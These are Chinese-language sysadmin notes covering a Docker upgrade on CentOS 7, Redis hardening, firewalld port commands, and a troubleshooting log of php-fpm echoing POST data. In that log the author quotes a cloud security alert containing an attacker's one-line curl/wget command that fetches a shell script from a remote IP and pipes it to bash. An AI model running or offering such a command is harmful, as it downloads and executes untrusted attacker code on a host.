升级docker到最新版本

1、查找主机上关于Docker的软件包

rpm -qa | grep docker – – 列出包含docker字段的软件的信息

docker-1.13.1-208.git7d71120.el7_9.x86_64
docker-client-1.13.1-208.git7d71120.el7_9.x86_64
docker-common-1.13.1-208.git7d71120.el7_9.x86_64

2、备份镜像和容器

请参考 docker commit 和 docker save 命令

3、使用yum remove卸载软件

yum remove docker-1.13.1-208.git7d71120.el7_9.x86_64
yum remove docker-client-1.13.1-208.git7d71120.el7_9.x86_64
yum remove docker-common-1.13.1-208.git7d71120.el7_9.x86_64

4、升级到最新版

wget https://get.docker.com/
mv index.html install_docker.sh
chmod 755 install_docker.sh
./install_docker.sh

6、新增daemon.json文件

vi /etc/docker/daemon.json – – 写入以下内容

{“storage-driver”:”devicemapper”}

7、重载daemon

systemctl daemon-reload

8、重启Docker

systemctl restart docker

9、设置Docker开机自启

systemctl enable docker

10、查看Docker版本信息

docker version

redis 设置只有内网IP可以访问

设置只有内网IP可以访问
1、将redis.conf里的
bind 127.0.0.1 修改成本机本地IP
2、仅对特定IP开放该端口
firewall-cmd –permanent –add-rich-rule=’rule family=”ipv4″ source address=”IP” port protocol=”tcp” port=”端口” accept’
3、修改redis文件目录访问权限
redis根目录设置为 chmod 700 redis
redis.conf 设置为 chmod 600 redis
4、禁止root用户启动redis
useradd -s /sbin/nolog -M redissetsid sudo -u redis /usr/bin/redis-server /etc/redis.conf
5、修改配置文件中默认端口号
将redis.conf 中port 6379 修改为其他
6、开启redis密码认证并设置高复杂度密码
将redis.conf中requirepass+空格+密码
7、禁用或重命名危险命令
在redis.conf中添加rename-command CONFIG CONFIG_DASKADJAKDJAKDS
rename-command SHUTDOWN SHUTDOWN_dasadsdasdads
rename-command FLUSHDB “”
rename-command FLUSHALL “”
设置为空即为禁用该命令
————————————————
原文链接:https://blog.csdn.net/bquau/article/details/84978323

php-fpm将post数据原样返回的问题

  1. 问题描述:用postman发送请求,带raw数据,或者用juqery进行post数据提交,获取返回数据后,字符串前方会自动连上post的原始数据。
  2. 详细描述:nginx + (docker + php7) 环境,php文件中只有一行代码:“echo ‘ok’;”,使用jquery的ajax方式进行post请求,或者用 postman 的 raw 方式提交数据,提交的数据会被原样返回,比如 rwa 中的内容是 “abcd…”,则返回的数据是 “abc…ok”,重启php-fpm后,问题消失,隔一段时间以后,问题又出来了。
  3. 问题原因:不详
  4. 问题猜测:服务器有漏洞且已经被利用,以某种方式在 docker 或 php 或 nginx 的某一层对 request 和 response 数据进行了特殊处理,提取了 post 的 raw 数据,在response 的时候,进行了输出,
  5. 问题影响:由于部分页面的登录页用的是 jquery ajax 的 post 方式提交的用户名密码,因为返回的结果前带了用户名密码字符串,导致无法识别返回结果,登录无效果。
  6. 临时解决:写脚本定时重启 php-fpm
  7. 解决状态:未解决
  8. 2022-02-09 阿里云安全提示 /usr/lib/polkit-1/polkitd 程序有权限漏洞,已被利用执行了‘sh -c [ -f “/bin/bash” ] && (curl -s http://82.117.252.83/ph.sh||wget -q -O- http://82.117.252.83/ph.sh)|bash || (curl -s http://82.117.252.83/ph2.sh||wget -q -O- http://82.117.252.83/ph2.sh)|sh’,更新了polkit 后漏洞已解决。猜测跟本次问题有关。。。
  9. 重新设置了防火墙,只开放了几个必要的端口。问题还没解决。kill 了polkitd 程序,继续观察。
  10. 备份docker容器,升级docker到最新版本,依然没解决
  11. 出现这个问题的不止我一个:https://learnku.com/laravel/t/51759,里面没给出详细的解决办法,但是看讨论结果,好像是php-fpm监听的端口被暴露在公网从而漏洞被利用了。因为centos7 中 docker 使用-p命令的时候,会绕过 firewall 自己设置 iptable。(firewall-cmd –list-ports 中没有开启,但是 telnet ip:9000 能看出来端口处于开放状态)想找一个禁止外网访问 docker 的端口只允许宿主机访问 容器 接口的方法没有找到,但是纯 php-fpm 容器肯定是要暴露端口的,尝试了: /etc/docker/daemon.json 中 添加”iptable”:false , 结果宿主机没法访问到php-fpm了。思来想去,在 php-fpm 的容器里装个 nginx:apt-get install nginx , 容器只暴露80 和 443 端口,容器内部 nginx 转 php 的 9000 , 再隔一段时间观察下。
  12. 问题没有再出现,看来就是php-fpm端口暴露的问题。如果你也遇到这个问题,赶紧想办法屏蔽php-fpm的外网端口吧

CentOS7防火墙关闭开启及端口管理

一、开启关闭防火墙
1、查看防火墙状态

sudo systemctl status firewalld

firewall-cmd –state

2、开启防火墙

sudo systemctl start firewalld //马上生效,重启会恢复原来状态
sudo systemctl enable firewalld //重启生效,重启不会恢复原来状态

3、关闭防火墙

sudo systemctl stop firewalld //马上生效,重启会恢复原来状态
sudo systemctl disable firewalld //重启生效,重启不会恢复原来状态

4、重新加载防火墙配置

firewall-cmd –reload

二、防火墙端口管理

1、新增端口

firewall-cmd –zone=public –add-port=3838/tcp –permanent //打开tcp3838
firewall-cmd –zone=public –add-port=3838/udp –permanent //打开udp3838
firewall-cmd –reload //重新加载防火墙

【命令含义】

–zone #作用域

–add-port=3838/tcp #添加端口,格式为:端口/通讯协议

–permanent #永久生效,没有此参数重启后失效

-reload #重新加载。不中断用户连接,不丢失状态信息。

2、移除端口

*与新增端口关键字相反,把add改为remove即可。

3、查询指定端口是否开启防火墙

firewall-cmd –query-port=3939/tcp #查询tcp端口3939

4、查询哪些端口开放

firewall-cmd –list-port

5、为指定ip开放端口

firewall-cmd –permanent –add-rich-rule=’rule family=”ipv4″ source address=”192.168.0.2″ port protocol=”tcp” port=”6379″ accept’

原文链接:https://www.cnblogs.com/hopkings/p/12427570.html